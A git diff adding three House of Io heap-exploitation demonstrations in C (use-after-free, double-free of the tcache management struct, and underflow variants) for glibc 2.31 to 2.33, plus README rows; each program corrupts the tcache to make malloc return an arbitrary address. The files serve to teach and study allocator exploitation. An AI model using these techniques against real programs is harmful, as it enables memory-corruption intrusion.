diff --git a/README.md b/README.md
index f55a59e..05906e5 100644
--- a/README.md
+++ b/README.md
@@ -41,6 +41,9 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |
| [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|
| [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | |
+| [house_of_io_uaf.c](glibc_2.31/house_of_io_uaf.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.29 - 2.33 | | |
+| [house_of_io_free.c](glibc_2.31/house_of_io_free.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by freeing the management struct. | 2.29 - 2.33 | | |
+| [house_of_io_underflow.c](glibc_2.31/house_of_io_underflow.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by underflowing into the management struct. | 2.29 - 2.33 | | |
The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.
Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).
diff --git a/glibc_2.31/house_of_io_free.c b/glibc_2.31/house_of_io_free.c
new file mode 100644
index 0000000..fc5f506
--- /dev/null
+++ b/glibc_2.31/house_of_io_free.c
@@ -0,0 +1,93 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Use after free Variant
+// ====================================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct overlay {
+ uint64_t *next;
+ uint64_t *key;
+};
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant can be used when either the order of free's for a struct\n"
+ "with multiple pointers is incorrect or the second slot in a free'd\n"
+ "struct can be free'd again. This allows us to free the\n"
+ "`tcache_perthread_struct` and gain access to it, by allocating it\n"
+ "again. With access to the management struct we can insert a malicious\n"
+ "pointer into a tcache and allocate from that bucket to get the pointer\n"
+ "from malloc.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts("First we have to allocate a struct, that has a pointer at offset\n"
+ "+0x08.\n");
+ struct overlay *ptr = malloc(sizeof(struct overlay));
+
+ ptr->next = malloc(0x10);
+ ptr->key = malloc(0x10);
+
+ puts("Now we simulate a wrongful order of free's which leads to freeing the\n"
+ "management struct. The first free puts the pointer to the tcache\n"
+ "struct into ptr->key, which also gets free'd afterwards.\n");
+ free(ptr);
+ free(ptr->key);
+
+ puts("With the management struct free'd we can allocate it again and get\n"
+ "access to it.\n");
+ struct tcache_perthread_struct *management_struct = malloc(0x285);
+
+ puts(
+ "Now that we have access to management struct, we first have to set the\n"
+ "count of the tcache bin, from which we want to allocate our target\n"
+ "chunk, to one.\n");
+ management_struct->counts[0] = 1;
+
+ puts(
+ "In the next step we insert the pointer to the global variable into the\n"
+ "tcache.\n");
+ management_struct->entries[0] = (uint64_t)&global_var;
+
+ printf(
+ "After the write we have placed a pointer to the global variable into\n"
+ "the tcache [ %p ].\n\n",
+ management_struct->entries[0]);
+
+ puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
+ "to our target location.\n");
+ uint64_t *evil_chunk = malloc(0x10);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}
diff --git a/glibc_2.31/house_of_io_uaf.c b/glibc_2.31/house_of_io_uaf.c
new file mode 100644
index 0000000..88a8b9d
--- /dev/null
+++ b/glibc_2.31/house_of_io_uaf.c
@@ -0,0 +1,95 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Use after free Variant
+// ====================================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct overlay {
+ uint64_t *next;
+ uint64_t *key;
+};
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant is the use-after-free variant and can be used, if the\n"
+ "free'd struct has a pointer at offset +0x08, which can be read from\n"
+ "and written to. This pointer will be the tcache->key entry of the\n"
+ "free'd chunk, which contains a pointer to the tcache management\n"
+ "struct. If we use that pointer we can manipulate the tcache management\n"
+ "struct into returning an arbitrary pointer.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts("First we have to allocate a struct, that has a pointer at offset\n"
+ "+0x08.\n");
+ struct overlay *ptr = malloc(sizeof(struct overlay));
+
+ ptr->next = malloc(0x10);
+ ptr->key = malloc(0x10);
+
+ puts("Then we immedietly free that struct to get a pointer to the tcache\n"
+ "management struct.\n");
+ free(ptr);
+
+ printf("The tcache struct is located at %p.\n\n", ptr->key);
+ struct tcache_perthread_struct *management_struct =
+ (struct tcache_perthread_struct *)ptr->key;
+
+ puts(
+ "Now that we have a pointer to the management struct we can manipulate\n"
+ "its values. First we potentially have to increase the counter of the\n"
+ "first bin by to a number higher than zero, to make the tcache think we\n"
+ "free'd at least one chunk. In our case this is not necesarry because\n"
+ "the `overlay` struct fits in the first bin and we have free'd that\n"
+ "already. The firest member of the tcache_perthread_struct is the array\n"
+ "of counters. So by overwriting the first element of our pointer we set\n"
+ "the correct value in the array.\n");
+ management_struct->counts[0] = 1;
+
+ printf("Before we overwrite the pointer in the tcache bin, the bin contains\n"
+ "[ %p ]. This is the same as the free'd overlay struct which we\n"
+ "created at the start [ %p == %p ].\n\n",
+ management_struct->entries[0], management_struct->entries[0], ptr);
+ management_struct->entries[0] = (uint64_t)&global_var;
+ printf(
+ "After the write we have placed a pointer to the global variable into\n"
+ "the tcache [ %p ].\n\n",
+ management_struct->entries[0]);
+
+ puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
+ "to our target location.\n");
+ uint64_t *evil_chunk = malloc(0x10);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}
diff --git a/glibc_2.31/house_of_io_underflow.c b/glibc_2.31/house_of_io_underflow.c
new file mode 100644
index 0000000..e19afb9
--- /dev/null
+++ b/glibc_2.31/house_of_io_underflow.c
@@ -0,0 +1,69 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Underflow Variant
+// ===============================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant only works if we can underflow an access on a heap chunk,\n"
+ "to get access to the management struct on the heap. We then overwrite\n"
+ "a pointer in a tcache bin to point to our target.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts(
+ "First we allocate a chunk on the heap. We will underflow an access to\n"
+ "this chunk. In this example the victim chunk comes directly after the\n"
+ "tcache management struct, but in theory it can be everywhere on the\n"
+ "heap, as the first allocation will always be the management chunk, and\n"
+ "we assume an arbitrary underflow.\n");
+ uint64_t *victim_chunk = malloc(0x10);
+
+ puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n"
+ "their bins come later in the array and thus are closer to our victim\n"
+ "chunk.\n");
+ uint64_t *free_chunk = malloc(0x390);
+ free(free_chunk);
+
+ puts("Then we underflow the victim chunk to exactly where the bin to our\n"
+ "free'd chunk is and write our target address there.\n");
+ *(victim_chunk - 10) = (uint64_t)&global_var;
+
+ puts("If we now allocate the same size of the free'd chunk again, we get a\n"
+ "chunk located at our target.\n");
+ uint64_t *evil_chunk = malloc(0x390);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}
diff --git a/glibc_2.32/house_of_io_free.c b/glibc_2.32/house_of_io_free.c
new file mode 100644
index 0000000..fc5f506
--- /dev/null
+++ b/glibc_2.32/house_of_io_free.c
@@ -0,0 +1,93 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Use after free Variant
+// ====================================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct overlay {
+ uint64_t *next;
+ uint64_t *key;
+};
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant can be used when either the order of free's for a struct\n"
+ "with multiple pointers is incorrect or the second slot in a free'd\n"
+ "struct can be free'd again. This allows us to free the\n"
+ "`tcache_perthread_struct` and gain access to it, by allocating it\n"
+ "again. With access to the management struct we can insert a malicious\n"
+ "pointer into a tcache and allocate from that bucket to get the pointer\n"
+ "from malloc.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts("First we have to allocate a struct, that has a pointer at offset\n"
+ "+0x08.\n");
+ struct overlay *ptr = malloc(sizeof(struct overlay));
+
+ ptr->next = malloc(0x10);
+ ptr->key = malloc(0x10);
+
+ puts("Now we simulate a wrongful order of free's which leads to freeing the\n"
+ "management struct. The first free puts the pointer to the tcache\n"
+ "struct into ptr->key, which also gets free'd afterwards.\n");
+ free(ptr);
+ free(ptr->key);
+
+ puts("With the management struct free'd we can allocate it again and get\n"
+ "access to it.\n");
+ struct tcache_perthread_struct *management_struct = malloc(0x285);
+
+ puts(
+ "Now that we have access to management struct, we first have to set the\n"
+ "count of the tcache bin, from which we want to allocate our target\n"
+ "chunk, to one.\n");
+ management_struct->counts[0] = 1;
+
+ puts(
+ "In the next step we insert the pointer to the global variable into the\n"
+ "tcache.\n");
+ management_struct->entries[0] = (uint64_t)&global_var;
+
+ printf(
+ "After the write we have placed a pointer to the global variable into\n"
+ "the tcache [ %p ].\n\n",
+ management_struct->entries[0]);
+
+ puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
+ "to our target location.\n");
+ uint64_t *evil_chunk = malloc(0x10);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}
diff --git a/glibc_2.32/house_of_io_uaf.c b/glibc_2.32/house_of_io_uaf.c
new file mode 100644
index 0000000..88a8b9d
--- /dev/null
+++ b/glibc_2.32/house_of_io_uaf.c
@@ -0,0 +1,95 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Use after free Variant
+// ====================================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct overlay {
+ uint64_t *next;
+ uint64_t *key;
+};
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant is the use-after-free variant and can be used, if the\n"
+ "free'd struct has a pointer at offset +0x08, which can be read from\n"
+ "and written to. This pointer will be the tcache->key entry of the\n"
+ "free'd chunk, which contains a pointer to the tcache management\n"
+ "struct. If we use that pointer we can manipulate the tcache management\n"
+ "struct into returning an arbitrary pointer.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts("First we have to allocate a struct, that has a pointer at offset\n"
+ "+0x08.\n");
+ struct overlay *ptr = malloc(sizeof(struct overlay));
+
+ ptr->next = malloc(0x10);
+ ptr->key = malloc(0x10);
+
+ puts("Then we immedietly free that struct to get a pointer to the tcache\n"
+ "management struct.\n");
+ free(ptr);
+
+ printf("The tcache struct is located at %p.\n\n", ptr->key);
+ struct tcache_perthread_struct *management_struct =
+ (struct tcache_perthread_struct *)ptr->key;
+
+ puts(
+ "Now that we have a pointer to the management struct we can manipulate\n"
+ "its values. First we potentially have to increase the counter of the\n"
+ "first bin by to a number higher than zero, to make the tcache think we\n"
+ "free'd at least one chunk. In our case this is not necesarry because\n"
+ "the `overlay` struct fits in the first bin and we have free'd that\n"
+ "already. The firest member of the tcache_perthread_struct is the array\n"
+ "of counters. So by overwriting the first element of our pointer we set\n"
+ "the correct value in the array.\n");
+ management_struct->counts[0] = 1;
+
+ printf("Before we overwrite the pointer in the tcache bin, the bin contains\n"
+ "[ %p ]. This is the same as the free'd overlay struct which we\n"
+ "created at the start [ %p == %p ].\n\n",
+ management_struct->entries[0], management_struct->entries[0], ptr);
+ management_struct->entries[0] = (uint64_t)&global_var;
+ printf(
+ "After the write we have placed a pointer to the global variable into\n"
+ "the tcache [ %p ].\n\n",
+ management_struct->entries[0]);
+
+ puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
+ "to our target location.\n");
+ uint64_t *evil_chunk = malloc(0x10);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}
diff --git a/glibc_2.32/house_of_io_underflow.c b/glibc_2.32/house_of_io_underflow.c
new file mode 100644
index 0000000..e19afb9
--- /dev/null
+++ b/glibc_2.32/house_of_io_underflow.c
@@ -0,0 +1,69 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Underflow Variant
+// ===============================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant only works if we can underflow an access on a heap chunk,\n"
+ "to get access to the management struct on the heap. We then overwrite\n"
+ "a pointer in a tcache bin to point to our target.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts(
+ "First we allocate a chunk on the heap. We will underflow an access to\n"
+ "this chunk. In this example the victim chunk comes directly after the\n"
+ "tcache management struct, but in theory it can be everywhere on the\n"
+ "heap, as the first allocation will always be the management chunk, and\n"
+ "we assume an arbitrary underflow.\n");
+ uint64_t *victim_chunk = malloc(0x10);
+
+ puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n"
+ "their bins come later in the array and thus are closer to our victim\n"
+ "chunk.\n");
+ uint64_t *free_chunk = malloc(0x390);
+ free(free_chunk);
+
+ puts("Then we underflow the victim chunk to exactly where the bin to our\n"
+ "free'd chunk is and write our target address there.\n");
+ *(victim_chunk - 10) = (uint64_t)&global_var;
+
+ puts("If we now allocate the same size of the free'd chunk again, we get a\n"
+ "chunk located at our target.\n");
+ uint64_t *evil_chunk = malloc(0x390);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}
diff --git a/glibc_2.33/house_of_io_free.c b/glibc_2.33/house_of_io_free.c
new file mode 100644
index 0000000..fc5f506
--- /dev/null
+++ b/glibc_2.33/house_of_io_free.c
@@ -0,0 +1,93 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Use after free Variant
+// ====================================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct overlay {
+ uint64_t *next;
+ uint64_t *key;
+};
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant can be used when either the order of free's for a struct\n"
+ "with multiple pointers is incorrect or the second slot in a free'd\n"
+ "struct can be free'd again. This allows us to free the\n"
+ "`tcache_perthread_struct` and gain access to it, by allocating it\n"
+ "again. With access to the management struct we can insert a malicious\n"
+ "pointer into a tcache and allocate from that bucket to get the pointer\n"
+ "from malloc.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts("First we have to allocate a struct, that has a pointer at offset\n"
+ "+0x08.\n");
+ struct overlay *ptr = malloc(sizeof(struct overlay));
+
+ ptr->next = malloc(0x10);
+ ptr->key = malloc(0x10);
+
+ puts("Now we simulate a wrongful order of free's which leads to freeing the\n"
+ "management struct. The first free puts the pointer to the tcache\n"
+ "struct into ptr->key, which also gets free'd afterwards.\n");
+ free(ptr);
+ free(ptr->key);
+
+ puts("With the management struct free'd we can allocate it again and get\n"
+ "access to it.\n");
+ struct tcache_perthread_struct *management_struct = malloc(0x285);
+
+ puts(
+ "Now that we have access to management struct, we first have to set the\n"
+ "count of the tcache bin, from which we want to allocate our target\n"
+ "chunk, to one.\n");
+ management_struct->counts[0] = 1;
+
+ puts(
+ "In the next step we insert the pointer to the global variable into the\n"
+ "tcache.\n");
+ management_struct->entries[0] = (uint64_t)&global_var;
+
+ printf(
+ "After the write we have placed a pointer to the global variable into\n"
+ "the tcache [ %p ].\n\n",
+ management_struct->entries[0]);
+
+ puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
+ "to our target location.\n");
+ uint64_t *evil_chunk = malloc(0x10);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}
diff --git a/glibc_2.33/house_of_io_uaf.c b/glibc_2.33/house_of_io_uaf.c
new file mode 100644
index 0000000..88a8b9d
--- /dev/null
+++ b/glibc_2.33/house_of_io_uaf.c
@@ -0,0 +1,95 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Use after free Variant
+// ====================================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct overlay {
+ uint64_t *next;
+ uint64_t *key;
+};
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant is the use-after-free variant and can be used, if the\n"
+ "free'd struct has a pointer at offset +0x08, which can be read from\n"
+ "and written to. This pointer will be the tcache->key entry of the\n"
+ "free'd chunk, which contains a pointer to the tcache management\n"
+ "struct. If we use that pointer we can manipulate the tcache management\n"
+ "struct into returning an arbitrary pointer.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts("First we have to allocate a struct, that has a pointer at offset\n"
+ "+0x08.\n");
+ struct overlay *ptr = malloc(sizeof(struct overlay));
+
+ ptr->next = malloc(0x10);
+ ptr->key = malloc(0x10);
+
+ puts("Then we immedietly free that struct to get a pointer to the tcache\n"
+ "management struct.\n");
+ free(ptr);
+
+ printf("The tcache struct is located at %p.\n\n", ptr->key);
+ struct tcache_perthread_struct *management_struct =
+ (struct tcache_perthread_struct *)ptr->key;
+
+ puts(
+ "Now that we have a pointer to the management struct we can manipulate\n"
+ "its values. First we potentially have to increase the counter of the\n"
+ "first bin by to a number higher than zero, to make the tcache think we\n"
+ "free'd at least one chunk. In our case this is not necesarry because\n"
+ "the `overlay` struct fits in the first bin and we have free'd that\n"
+ "already. The firest member of the tcache_perthread_struct is the array\n"
+ "of counters. So by overwriting the first element of our pointer we set\n"
+ "the correct value in the array.\n");
+ management_struct->counts[0] = 1;
+
+ printf("Before we overwrite the pointer in the tcache bin, the bin contains\n"
+ "[ %p ]. This is the same as the free'd overlay struct which we\n"
+ "created at the start [ %p == %p ].\n\n",
+ management_struct->entries[0], management_struct->entries[0], ptr);
+ management_struct->entries[0] = (uint64_t)&global_var;
+ printf(
+ "After the write we have placed a pointer to the global variable into\n"
+ "the tcache [ %p ].\n\n",
+ management_struct->entries[0]);
+
+ puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
+ "to our target location.\n");
+ uint64_t *evil_chunk = malloc(0x10);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}
diff --git a/glibc_2.33/house_of_io_underflow.c b/glibc_2.33/house_of_io_underflow.c
new file mode 100644
index 0000000..e19afb9
--- /dev/null
+++ b/glibc_2.33/house_of_io_underflow.c
@@ -0,0 +1,69 @@
+#include
+#include
+#include
+#include
+#include
+
+// House of Io - Underflow Variant
+// ===============================
+//
+// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
+//
+// Tested on libc versions 2.31, 2.32 and 2.33.
+//
+// House of Io makes use of the fact, that when freeing a chunk into the tcache
+// the chunk will receive a pointer to the tcache management struct which has
+// been allocated beforehand. This pointer is the tcache->key entry of a free'd
+// tcache chunk. There are three different versions of this attack and all work
+// even with safe-link enabled, as the tcache-key pointer, and more importantly
+// the pointers in the tcache_perthread_struct, are not protected.
+
+unsigned long global_var = 1;
+
+struct tcache_perthread_struct {
+ uint16_t counts[64];
+ uint64_t entries[64];
+};
+
+int main() {
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
+ "gets a pointer to the tcache management struct inserted at the\n"
+ "second slot.\n");
+
+ puts(
+ "This variant only works if we can underflow an access on a heap chunk,\n"
+ "to get access to the management struct on the heap. We then overwrite\n"
+ "a pointer in a tcache bin to point to our target.\n");
+
+ printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
+ "us from malloc.\n\n",
+ &global_var);
+
+ puts(
+ "First we allocate a chunk on the heap. We will underflow an access to\n"
+ "this chunk. In this example the victim chunk comes directly after the\n"
+ "tcache management struct, but in theory it can be everywhere on the\n"
+ "heap, as the first allocation will always be the management chunk, and\n"
+ "we assume an arbitrary underflow.\n");
+ uint64_t *victim_chunk = malloc(0x10);
+
+ puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n"
+ "their bins come later in the array and thus are closer to our victim\n"
+ "chunk.\n");
+ uint64_t *free_chunk = malloc(0x390);
+ free(free_chunk);
+
+ puts("Then we underflow the victim chunk to exactly where the bin to our\n"
+ "free'd chunk is and write our target address there.\n");
+ *(victim_chunk - 10) = (uint64_t)&global_var;
+
+ puts("If we now allocate the same size of the free'd chunk again, we get a\n"
+ "chunk located at our target.\n");
+ uint64_t *evil_chunk = malloc(0x390);
+
+ assert(evil_chunk == &global_var);
+ return 0;
+}